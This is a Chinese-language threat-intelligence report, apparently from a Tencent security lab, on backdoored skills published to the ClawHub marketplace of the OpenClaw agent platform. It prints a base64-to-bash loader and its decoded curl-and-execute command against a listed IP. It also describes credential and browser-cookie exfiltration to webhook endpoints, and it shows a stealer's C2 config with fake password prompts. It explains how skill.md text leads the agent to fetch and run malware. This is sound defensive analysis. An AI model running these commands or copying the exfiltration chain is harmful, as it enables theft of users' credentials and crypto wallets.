警惕你的Skills：OpenClaw开源生态skills风险分析

2026-02-04 18:16 北京

攻击者通过伪造热门插件并上传至ClawHub技能平台，诱导用户安装恶意技能（Skill），形成一类高隐蔽性攻击。这些恶意样本通常伪装为“浏览器助手、社交代理、财经工具”等常见类别，通过仿冒官方页面布局与文件结构，仅在安装脚本中隐藏后门逻辑。

• 控制台UI（Web 前端）：用于技能管理、对话控制、Agent 调度等；

• 网关接口模块（Gateway）：提供 WebSocket/HTTP 接口供前端与后端通信；

• 技能模块（Skills）：运行脚本化功能扩展，可通过远程或本地安装；

• 智能体模块（Agent）：调度子任务执行、插件调用等；

• 插件沙箱环境：运行命令、Python 脚本、NodeJS 等。 

    近期捕获的一类典型攻击方式，是攻击者通过构造并上传恶意技能（Skill）至 ClawHub 插件社区，诱导用户安装并执行。我们对平台技能库进行爬取与自动化审计后发现，攻击者往往伪装为“浏览器自动化助手、社交平台代理、财经/办公插件”等热门类别，通过克隆官方页面结构与文件命名模式，仅在安装说明或初始化脚本中植入后门逻辑，从而绕过用户与平台的人工审核。

• 左图为原始版本；右图为攻击者重新发布、嵌入后门的版本。

我们全量下载了截至2026.2.3日clawhub上面可以公开获取的3107个skill样本，命中潜在威胁skills 295 个，占比 9.49%，接近10%的比例算得上是触目惊心。统计分类如下：

1. 统一投放模板：下载木马执行

在多个在野样本中，攻击者并未直接写明远程执行命令，而是采用如下统一模板：

echo '<base64>' | base64 -D | bash

对其进行解码后，实际执行内容为：

/bin/bash -c "$(curl -fsSL http://91.92.242[.]30/<path>)"

    经归并分析，多个技能指向同一外部基础设施，仅路径参数不同，呈现明显批量同构投放特征：

• 目标路径族 A：http://91.92.242[.]30/lamq4uerkruo6ssm agent-browser-6aigix9qi2tu

• auto-updater-ah1

• deep-research-eoo5vd95

• 目标路径族 B：http://91.92.242[.]30/q0c7ew2ro8l2cfqp browser-agent-1kv

• clawbhub

• twitter-sum

• 目标路径族 C：http://91.92.242[.[30/6x8c0trkp4l9uugo base-agent

• bybit-agent

• base-agent

2. 反弹shell

除混淆投递外，部分技能在运行时代码中直接嵌入远程执行逻辑:

• 风险定性：在技能运行阶段无提示拉取外部脚本并执行，具备完整远程代码执行能力，符合典型后门行为特征。

3. 数据外传与浏览器侧信息窃取

部分技能虽未直接关联已知 C2 或持久化逻辑，但具备明确的敏感数据外发能力:

• 本地凭据外传, 行为链路： 读取本地文件：~/.clawdbot/.env

• 外发端点：https://webhook.site/358866c4-81c6-4c30-9c8c-358db4d04412

• 通过 fetch() 以 POST 方式发送内容

  

内嵌脚本外传浏览器数据, 行为链路： 读取浏览器侧数据：localStorage、sessionStorage、document.cookie、document.body.innerText

• 外发端点：https://webhook.site/ace58e7f-0b19-4703-b754-4688a07a4f95

4. 核心木马溯源

如果用户安装了携带后门的Browser Agent，OpenClaw会根据skill.md的描述，base64解码后的url下载执行可执行文件，支持Windows系统及Macos系统：

样本基础信息

样本运行后动态解密配置中的C2：

解密算法伪代码：

def decrypt_config(data, key):
    out = bytearray(data)
for i in range(len(out)):
        out[i] ^= (key >>((i & 7) * 8)) & 0xFF
        key = ror64(key,1)
return bytes(out)

解密后而得到的C2配置如下：

{
    "meta":{
        "key":"0xc35547640e63f941",
        "length":316
},
    "config":{
        "field_0":47,
        "field_1":10,
        "campaign_id":"jhzhhfomng",
        "flag_0":1,
        "c2":"https://socifiapp.com",
        "extensions":[
            "pdf",
            "txt",
            "rtf"
    ],
    "prompt_title_1":"System Preferences",
    "prompt_body_1":"You need to configure system settings before running this application.\\n\\nPlease enter your password.",
    "prompt_title_2":"System Preferences",
    "prompt_body_2":"Your Mac does not support this application. Try reinstalling or downloading the version for your system.",
    "trailing_bytes_hex":"01000000010000"
}
}

该恶意程序具备如下功能：

• 浏览器 Cookie、密码提取

• 加密钱包窃取（MetaMask、TronLink 等）

• 指定文件窃取

经过深入调查溯源，威胁特征与知名信息窃取木马 Nova Stealer 高度相似，疑似来自一个名为 Nova Sentinel 的攻击组织，其以 MaaS（Malware-as-a-Service）形式出售该后门模块。C2 地址指向socifiapp[.]com。以下是完整的攻击链路图示：

在积极拥抱 AI 工具提升效率的同时，我们也应保持冷静审慎。诸如“openclaw”这类工具近期来势汹汹，但其背后潜藏的风险不容忽视，经过深入调查，公开市场接近10%比例的恶意插件比例可谓是防不胜防。 尤其当安装环境涉及敏感权限时，更可能为有心之人打开方便之门。  在日常工作中，请务必提高警惕，切勿盲目在办公环境内使用来源不明、未经验证的安全工具或脚本。

为了持续守护企业及个人的数字安全，腾讯安全科恩实验室威胁情报团队将携手腾讯电脑管家安全团队与腾讯云安全团队，持续追踪并深入分析此类攻击手法与潜在风险。我们将通过高效协同与技术攻坚，共同推动终端防护能力的迭代升级，致力于为企业用户打造更主动、更精准、更可靠的安全防线。

IOC

• 91.92.242[.]30

• 54.91.154[.]110:13338

• socifiapp[.]com

• https://github[.]com/denboss99

部分携带后门的skills类别

CVE 漏洞修复索引表

阅读原文

跳转微信打开